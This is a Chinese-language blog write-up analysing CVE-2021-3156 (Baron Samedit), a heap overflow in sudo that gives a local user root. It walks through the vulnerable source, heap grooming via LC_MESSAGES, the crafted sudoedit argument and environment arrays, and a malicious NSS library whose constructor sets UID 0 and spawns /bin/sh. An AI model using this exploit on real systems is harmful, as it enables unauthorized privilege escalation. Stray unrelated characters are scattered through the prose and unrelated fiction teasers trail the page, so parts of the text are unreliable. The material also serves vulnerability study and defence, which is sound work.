【kernel exploit】CVE-2021-3156 sudo漏洞分析與利用

影響版本

  • 1.9.0 <= Sudo <= 1.9.5 p1 所有穩(wěn)定版(默認配置)

  • 1.8.2 <= Sudo <= 1.8.31 p2 所有老版本

  • 最新的系統(tǒng)丽猬,如Ubuntu 20.04 (Sudo 1.8.31), Debian 10 (Sudo 1.8.27), Fedora 33 (Sudo 1.9.2) 都受到影響拂铡。

編譯選項

# 編譯(如果默認版本有漏洞,則不需要編譯)
$ wget https://github.com/sudo-project/sudo/archive/SUDO_1_9_5p1.tar.gz
$ tar xf sudo-SUDO_1_9_5p1.tar.gz 
$ cd sudo-SUDO_1_9_5p1/
$ mkdir build
$ cd build/
$ ../configure --enable-env-debug
$ make -j
$ sudo make install
# 調(diào)試 (需以root運行gdb终惑,漏洞代碼是動態(tài)加載的绍在,直接下斷點下不到,crash之后再下)
$ gdb --args sudoedit -s '\' `perl -e 'print "A" x 65536'`
$ b ../../../plugins/sudoers/sudoers.c:964
$ b ../../../plugins/sudoers/sudoers.c:978

漏洞描述:CVE-2021-3156(該漏洞被命名為“Baron Samedit”)——sudo在處理單個反斜杠結(jié)尾的命令時雹有,發(fā)生邏輯錯誤偿渡,導致堆溢出。當sudo通過-s或-i命令行選項在shell模式下運行命令時霸奕,它將在命令參數(shù)中使用反斜杠轉(zhuǎn)義特殊字符溜宽。但使用-s或 -i標志運行sudoedit時,實際上并未進行轉(zhuǎn)義质帅,從而可能導致緩沖區(qū)溢出适揉。只要存在sudoers文件(通常是 /etc/sudoers),攻擊者就可以使用本地普通用戶利用sudo獲得系統(tǒng)root權限煤惩。漏洞引入時間為2011年7月(commit 8255ed69)嫉嘀,漏洞存在時間達10年。

補丁:目前官方已在sudo新版本1.9.5 p2中修復了該漏洞盟庞,官方下載鏈接:https://www.sudo.ws/download.html

測試版本:Ubuntu 19.04 exploit

利用過程

  • 1.首先利用傳遞的LC_MESSAGE(或者LC_ALL)環(huán)境變量申請并釋放一塊cache吃沪;
  • 2.分配service_user結(jié)構;
  • 3.控制輸入?yún)?shù)的長度什猖,使得user_args占據(jù)LC_MESSAGE釋放后的空閑chunk票彪;
  • 4.user_args溢出并覆蓋第1個service_user結(jié)構,覆蓋service_user->name為偽造庫名不狮;
  • 5.利用libc中的nss_load_library()函數(shù)來加載偽造庫降铸,執(zhí)行偽造庫中的_init函數(shù)(提權)。

1.sudo簡介

sudo是可以允許管理員讓普通用戶執(zhí)行root命令的1個工具摇零,相當于su或者halt的命令推掸,這樣可以減少root登陸時間和管理,也可以提高linux系統(tǒng)的安全性。

2.漏洞檢測

檢測是否含有此漏洞:

  • 在非root權限下谅畅,運行命令$ sudoedit -s /登渣。
  • 若出現(xiàn)以sudoedit:開頭的錯誤響應,則系統(tǒng)受到此漏洞影響毡泻;
  • 若出現(xiàn)以usage:開頭的錯誤響應胜茧,則表示該漏洞已被補丁修復。

3.代碼分析

命令行模式下運行sudo仇味,加上-s選項會設置MODE_SHELL flag呻顽;加上-i選項會設置MODE_SHELL flag 和 MODE_LOGIN_SHELL flag。首先看sudo的main() 函數(shù)開頭調(diào)用了parse_args()丹墨,parse_args() 會連接所有命令行參數(shù)(587-595行)并給元字符加反斜杠(590-591行)來重寫 argv(609-617行)廊遍。

// parse_args()
571     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { 
572         char **av, *cmnd = NULL; 
573         int ac = 1; 
... 
581             cmnd = dst = reallocarray(NULL, cmnd_size, 2); 
... 
587             for (av = argv; *av != NULL; av++) { 
588                 for (src = *av; *src != '\0'; src++) { 
589                     /* quote potential meta characters */ 
590                     if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$') 
591                         *dst++ = '\\'; 
592                     *dst++ = *src; 
593                 } 
594                 *dst++ = ' '; 
595             } 
... 
600             ac += 2; /* -c cmnd */ 
... 
603         av = reallocarray(NULL, ac + 1, sizeof(char *)); 
... 
609         av[0] = (char *)user_details.shell; /* plugin may override shell */ 
610         if (cmnd != NULL) { 
611             av[1] = "-c"; 
612             av[2] = cmnd; 
613         } 
614         av[ac] = NULL; 
615  
616         argv = av; 
617         argc = ac; 
618     } 

之后,在sudoers_policy_main()函數(shù)中贩挣,set_cmnd()連接命令行參數(shù)并存入堆緩沖區(qū) user_args(864-871行)喉前,跳過元字符(866-867行),目的是匹配sudoer和記錄日志揽惹。

// set_cmnd()
819     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { 
... 
852             for (size = 0, av = NewArgv + 1; *av; av++) 
853                 size += strlen(*av) + 1; 
854             if (size == 0 || (user_args = malloc(size)) == NULL) { 
... 
857             } 
858             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { 
... 
864                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {  // 把命令行參數(shù)放入from里面
865                     while (*from) { 
866                         if (from[0] == '\\' && !isspace((unsigned char)from[1])) 
867                             from++; 
868                         *to++ = *from++;  // 將輸入的命令行參數(shù)拷貝到堆空間 user_args
869                     } 
870                     *to++ = ' '; 
871                 } 
... 
884             } 
... 
886     }

但如果命令行參數(shù)以1個反斜杠結(jié)尾:

  • 866行搪搏,from[0] 是反斜杠闪金,from[1]是null結(jié)束符(非空格)疯溺;
  • 867行,from加1囱嫩,指向null結(jié)束符漏设;
  • 868行墨闲,null結(jié)束符被拷貝到user_args 堆緩沖區(qū),from又加1郑口,from指向了null結(jié)束符后面第1個字符(超出參數(shù)的邊界)犬性;
  • 865-869行,while loop 繼續(xù)將越界的字符拷貝到user_args 堆緩沖區(qū)套利。

所以,set_cmnd()存在越界寫验辞,溢出user_args 堆緩沖區(qū)(size是在852-853行中計算)喊衫。根本原因就是,sudo默認\后面肯定跟著元字符鼻听,實際上\后面只有1個結(jié)束符撑碴。

4.漏洞分析

正常情況下朝墩,命令行參數(shù)不會以1個反斜杠結(jié)尾,流程分析如下:如果設置了MODE_SHELLMODE_LOGIN_SHELL(858行亿卤,到達漏洞代碼的必要條件)排吴,且由于設置了MODE_SHELL(571行懦鼠,parse_args()換碼了元字符肛冶,包括反斜杠,末尾的1個反斜杠前又加了1個反斜杠睦袖,變成了2個反斜杠珊肃,就不存在1個反斜杠結(jié)尾的情況了)伦乔。

但是延蟹,換碼代碼parse_args()和漏洞代碼set_cmnd()的條件不相同阱飘。

// parse_args() 換碼代碼
571     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { 
// set_cmnd() 漏洞代碼
819     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { 
... 
858             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {

猜想:能否設置 MODE_SHELLMODE_EDIT/MODE_CHECK ,但不設置 MODE_RUN蔗喂,這樣跳過換碼代碼parse_args()(避免1個反斜杠變成2個反斜杠)缰儿,直接執(zhí)行漏洞代碼 set_cmnd()乖阵。

答案:不行。只要設置了MODE_EDIT(-e, 361行)/MODE_CHECK(-l, 423+519行)儒将,parse_args()就會從valid_flags移除MODE_SHELL(363+424行)对蒲,如果此時還設置了MODE_SHELL就會報錯(532-533行)蹈矮。

358                 case 'e': 
... 
361                     mode = MODE_EDIT; 
362                     sudo_settings[ARG_SUDOEDIT].value = "true"; 
363                     valid_flags = MODE_NONINTERACTIVE; 
364                     break; 
... 
416                 case 'l': 
... 
423                     mode = MODE_LIST; 
424                     valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST; 
425                     break; 
... 
518     if (argc > 0 && mode == MODE_LIST) 
519         mode = MODE_CHECK; 
... 
532     if ((flags & valid_flags) != flags) 
533         usage(1); 

漏洞:如果執(zhí)行sudoedit命令(而非sudo)泛鸟,則parse_args()會自動設置MODE_EDIT(270行)且不會重置valid_flags,這樣MODE_SHELL就還在valid_flags中(127+249行)勺美,不會報錯。

127 #define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL) 
... 
249     int valid_flags = DEFAULT_VALID_FLAGS; 
... 
267     proglen = strlen(progname); 
268     if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) { 
269         progname = "sudoedit"; 
270         mode = MODE_EDIT; 
271         sudo_settings[ARG_SUDOEDIT].value = "true"; 
272     } 

結(jié)果:只要執(zhí)行sudoedit -s \祝闻,就能同時設置MODE_EDITMODE_SHELL遗菠,但不設置MODE_RUN辙纬。跳過parse_args()中的換碼代碼,直接執(zhí)行漏洞代碼set_cmnd()蓖谢,溢出user_args堆緩沖區(qū)闪幽。

$ sudoedit -s '\' `perl -e 'print "A" x 65536'` 
malloc(): corrupted top size
Aborted (core dumped)

從攻擊者角度來看,該緩沖區(qū)溢出可利用的原因如下:

    1. user_args堆緩沖區(qū)的size可控(852-854行溉知,size就是命令行參數(shù)合并后的長度)腕够;
    1. 能分別控制size和溢出的內(nèi)容(第一段命令行參數(shù)后緊跟第二段命令行參數(shù)帚湘,第二段命令行參數(shù)不包含在size中)客们;
    1. 可以寫null字節(jié)到user_args(每個以單反斜杠結(jié)尾的命令行參數(shù)或環(huán)境變量,都能往user_args寫1個null字節(jié)恒傻,見866-868行)建邓。

例如官边,amd64 Linux中,以下命令會分配24字節(jié)的user_args緩沖區(qū)(實際分配32字節(jié))契吉,并將下一個堆塊的size覆蓋為A=a\0B=b\0”(0x00623d4200613d41)捐晶,fd覆蓋為C=c\0D=d\0( 0x00643d4400633d43)妄辩,bk覆蓋為E=e\0F=f\0 (0x00663d4600653d45)眼耀。

env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\' 
--------------------------------------------------------------------- 

--|--------+--------+--------+--------|--------+--------+--------+--------+-- 
  |        |        |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.| 
--|--------+--------+--------+--------|--------+--------+--------+--------+-- 

              size  <---- user_args buffer ---->  size      fd       bk 

寫連續(xù)的多個null:其實環(huán)境變量并不一定得是env_name=XXX這種形式哮伟,環(huán)境變量可以是字符串數(shù)組妄帘。C代碼中用execve執(zhí)行shell命令寄摆,環(huán)境變量設置2個連續(xù)的\即可插入2個連續(xù)的null字節(jié)婶恼。

char *env[] = { "BBBBBBBB", "\\", "\\", "CCCCCCCC", NULL };
execve("/usr/bin/sudoedit", argv, env);

5.漏洞利用

(1)目標與挑戰(zhàn)

目標:溢出后覆蓋service_user結(jié)構柏副。該結(jié)構出現(xiàn)在libc的nss_load_library()函數(shù)中割择,用于加載動態(tài)鏈接庫。如果能覆蓋service_user->name蕉饼,就能指定加載我們偽造的庫昧港,利用root權限運行非root權限的庫支子。

// 1. service_user 結(jié)構
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

// 2. nss_load_library() 函數(shù)
static int nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,   // (1)設置 ni->library
                     ni->name);
      if (ni->library == NULL)
    return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
              + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,   // (2)偽造的庫文件名必須是 libnss_xxx.so
                          "libnss_"),
                    ni->name),
              ".so"),
        __nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name); // (3)加載目標庫
      //continue long long function

挑戰(zhàn)1:可以看到nss_load_library()函數(shù)中叹侄,滿足條件ni->library != nullni->library->lib_handle == NULL才能加載新庫昨登。

解決:如果ni->library == null篙骡,恰好代碼(1)處ni->library = nss_new_service(....可以設置 ni->library,所以只要把ni->library 覆蓋為null即可。找到離user_args地址最近的第1個service_user結(jié)構

挑戰(zhàn)2:如何覆蓋鏈表指針struct service_user * next得湘,加載新庫時會根據(jù)該指針進行鏈表遍歷淘正。如果利用時意外覆蓋了第2個service_user結(jié)構,由于無法泄露地址囤采,next指針填充錯誤就會導致段錯誤蕉毯。

解決:只覆蓋第1個service_user結(jié)構思犁,將next指針覆蓋為null即可激蹲。這意味著我們必須找到user_args之后的鏈表中的第1個service_user結(jié)構在哪里。這是最大的挑戰(zhàn)乘瓤,需要精準控制堆分配衙傀。

(2)定位service_user結(jié)構地址

利用name systemdmymachine來定位service_user結(jié)構着降。先在user_args分配點下斷以查看鏈表任洞,然后搜索systemd并遍歷list,直到找到第1個靠近分配點的service_user(結(jié)合A溢出的多次測試妆偏,了解其崩潰的結(jié)構)钱骂。

以下展示了內(nèi)存中和對應到vmmaps中不同的service_user name见秽。圖中可見讨盒,第2個對應systemd的vmmap返顺,其偏移距離堆基址0x47e0蔓肯。另一個偏移為0x4790的service_user和它相距0x50蔗包,這兩個結(jié)構連在一起慧邮,所以目標就是覆蓋0x4790處的service_user結(jié)構赋咽。為什么不覆蓋0x2000偏移處的service_user結(jié)構呢脓匿?因為你不能過早的把user_args分配到那么靠前的堆區(qū)域。

1-1-structs.png

(3)堆排布

問題:所以如何將user_args分配到service_user結(jié)構前面呢?(盡早分配user_args

解決:能否找到一個在service_user結(jié)構之前被申請并被釋放的空閑塊呢毡琉?這樣分配user_args堆塊時就能用到這個空閑塊了桅滋。

// /src/sudo.c
150:    int main(int argc, char *argv[], char *envp[])
151:    {
        ...
171:    setlocale(LC_ALL, "");
        ...
216:    sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv, &settings, &env_add);
        ...

main()中較早調(diào)用了setlocale()介紹)函數(shù)丐谋,setlocale()函數(shù)中第154行号俐,可以分配并釋放幾個LC環(huán)境變量(LC_CTYPE,LC_MESSAGES踪危,LC_TIME等)贞远,這樣就在Sudo的堆開頭處留下了空閑的fast/tcache chunks笨忌。我們通過在``setlocale()中下斷點蜜唾,來檢查setlocale()`會釋放哪些大小的塊。發(fā)現(xiàn)如下兩個有趣的空閑塊:

1-2-free1.png
1-3-free2.png

其中,第二個chunk會在setlocale()函數(shù)外被再次分配和釋放棚饵,顯得不太可靠噪漾。除此之外且蓬,找不到其他的LC變量會釋放空閑塊了恶阴。

heap bin的知識:這里再簡單介紹下heap bin的知識,空閑塊是用多個鏈表存儲的焦匈,這些鏈表按塊大小排序缓熟。有如下5種鏈表(bin就是鏈表)摔笤。

  • tcache——大小為0x20-0x408籍茧,實現(xiàn)超快速分配寞冯;
  • fast bins——大小為0x20-0x80,也是超快速分配俭茧;
  • small bins——比tcachefast bins要大母债;
  • large bins——大型的chunk;
  • unsorted bin——未分類的chunk迅皇。

現(xiàn)在我們只關注tcachefast bins登颓,因為其他類型的chunk可能會被合并框咙,很難預測chunk的狀態(tài)痢甘。chunk大小以0x10遞增塞栅。

我們可以使用LC_MESSAGE環(huán)境變量构蹬,在setlocale()函數(shù)中釋放該空閑塊,這樣之后觸發(fā)漏洞時就能把user_args分配到該空閑塊的位置上俗壹。這樣就把溢出塊放在了heap上很靠前的位置绷雏。

但是要確保在分配user_args時怖亭,用到的正是LC_MESSAGE變量釋放的塊(因為在setlocale()之后兴猩,分配user_args之前可能還分配了其他chunk)倾芝。幸運的是最后得到了這個chunk:

1-5-alloc.png

上面是user_args這個chunk晨另,下面是目標字符串mymachine,相差只有0x4790 - 0x4370 == 0x420字節(jié)刨晴。

現(xiàn)在狈癞,只需填充null直到覆蓋第1個service_user結(jié)構亿驾,將service_user->ni-library覆蓋為null,且將name覆蓋為偽造庫的庫名。

1-6-structure.png

首先設置如下參數(shù),使得分配的user_args堆塊大小和LC_MESSAGE環(huán)境變量釋放的堆塊大小一樣旁振。

        char *args[] = {
            "/usr/bin/sudoedit",
            "-s",
            "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAA\\",
            NULL
        }; //B and A's to match the chunk size we want freed in the beginning

然后拐袜,創(chuàng)建很長的環(huán)境變量梢薪,結(jié)尾放置偽造的service_user結(jié)構:

        char *extra_args[] = {
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\x01\\",
            "\\",
            "\\",
            "\x01\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "\\",
            "X/X\\",
            "a",
            "LC_MESSAGES=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
            NULL,
        };

接著nss_load_library()函數(shù)中的_stpcpy()會根據(jù)X/X\\參數(shù)甜攀,來創(chuàng)建路徑libnss_X/X.so.2琐馆。

      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                          "libnss_"),
                    ni->name),
              ".so"),
        __nss_shlib_revision);

最后瘦麸,只需偽造一個名為libnss_X/X.so.2的庫滋饲,其中init函數(shù)負責設置id并執(zhí)行/bin/sh即可了赌。編譯選項為gcc -Os -Wall -Wextra -fPIC -shared nss.c -o X.so.2

#include <stdlib.h>
#include <stddef.h>
#include <unistd.h>

static int __attribute__((constructor)) ___init(void)
{
  char *argv[2] = {"sh", NULL};

  setuid(0);
  setgid(0);
  seteuid(0);
  setegid(0);
  return execve("/bin/sh", argv, NULL);
}

成功加載偽造庫:

1-7-final.png

彈出shell:

1-8-shell.png

結(jié)論:最終的利用是100%可靠的勿她,使用Ubuntu 20.10,libc版本 2.32并開啟ASLR郭卫。

6.測試exp

第5節(jié)分析的原文作者沒有公開exp贰军,我測的exploit來自https://github.com/blasty/CVE-2021-3156词疼,在ubuntu 19.04(sudo版本為1.8.27)下也能成功提權帘腹。這兩個exp的區(qū)別是利用的環(huán)境變量名不一樣阳欲,第5節(jié)利用的是LC_MESSAGE環(huán)境變量來創(chuàng)建空閑塊球化,blasty的exp利用的是LC_ALL環(huán)境變量,所以覆蓋的偏移不同赴蝇。

exploit.png

參考

CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit)

https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt

cve-2021-3156-sudo堆溢出簡單分析——含調(diào)試過程

https://github.com/blasty/CVE-2021-3156

https://github.com/stong/CVE-2021-3156

Sudo Exploit Writeup

最后編輯于
?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市熄阻,隨后出現(xiàn)的幾起案子秃殉,更是在濱河造成了極大的恐慌浸剩,老刑警劉巖绢要,帶你破解...
    沈念sama閱讀 211,884評論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件重罪,死亡現(xiàn)場離奇詭異,居然都是意外死亡阅束,警方通過查閱死者的電腦和手機茄唐,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,347評論 3 385
  • 文/潘曉璐 我一進店門呼盆,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人漾抬,你說我怎么就攤上這事宿亡。” “怎么了纳令?”我有些...
    開封第一講書人閱讀 157,435評論 0 348
  • 文/不壞的土叔 我叫張陵,是天一觀的道長克胳。 經(jīng)常有香客問我平绩,道長,這世上最難降的妖魔是什么漠另? 我笑而不...
    開封第一講書人閱讀 56,509評論 1 284
  • 正文 為了忘掉前任,我火速辦了婚禮笆搓,結(jié)果婚禮上性湿,老公的妹妹穿的比我還像新娘。我一直安慰自己满败,他們只是感情好肤频,可當我...
    茶點故事閱讀 65,611評論 6 386
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著算墨,像睡著了一般宵荒。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上净嘀,一...
    開封第一講書人閱讀 49,837評論 1 290
  • 那天报咳,我揣著相機與錄音,去河邊找鬼挖藏。 笑死暑刃,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的膜眠。 我是一名探鬼主播岩臣,決...
    沈念sama閱讀 38,987評論 3 408
  • 文/蒼蘭香墨 我猛地睜開眼溜嗜,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了婿脸?” 一聲冷哼從身側(cè)響起粱胜,我...
    開封第一講書人閱讀 37,730評論 0 267
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎狐树,沒想到半個月后焙压,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 44,194評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡抑钟,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,525評論 2 327
  • 正文 我和宋清朗相戀三年涯曲,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片在塔。...
    茶點故事閱讀 38,664評論 1 340
  • 序言:一個原本活蹦亂跳的男人離奇死亡幻件,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出蛔溃,到底是詐尸還是另有隱情绰沥,我是刑警寧澤,帶...
    沈念sama閱讀 34,334評論 4 330
  • 正文 年R本政府宣布贺待,位于F島的核電站徽曲,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏麸塞。R本人自食惡果不足惜秃臣,卻給世界環(huán)境...
    茶點故事閱讀 39,944評論 3 313
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望哪工。 院中可真熱鬧奥此,春花似錦、人聲如沸雁比。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,764評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽章贞。三九已至祥绞,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間鸭限,已是汗流浹背蜕径。 一陣腳步聲響...
    開封第一講書人閱讀 31,997評論 1 266
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留败京,地道東北人兜喻。 一個月前我還...
    沈念sama閱讀 46,389評論 2 360
  • 正文 我出身青樓,卻偏偏與公主長得像赡麦,于是被迫代替她去往敵國和親朴皆。 傳聞我的和親對象是個殘疾皇子帕识,可洞房花燭夜當晚...
    茶點故事閱讀 43,554評論 2 349

推薦閱讀更多精彩內(nèi)容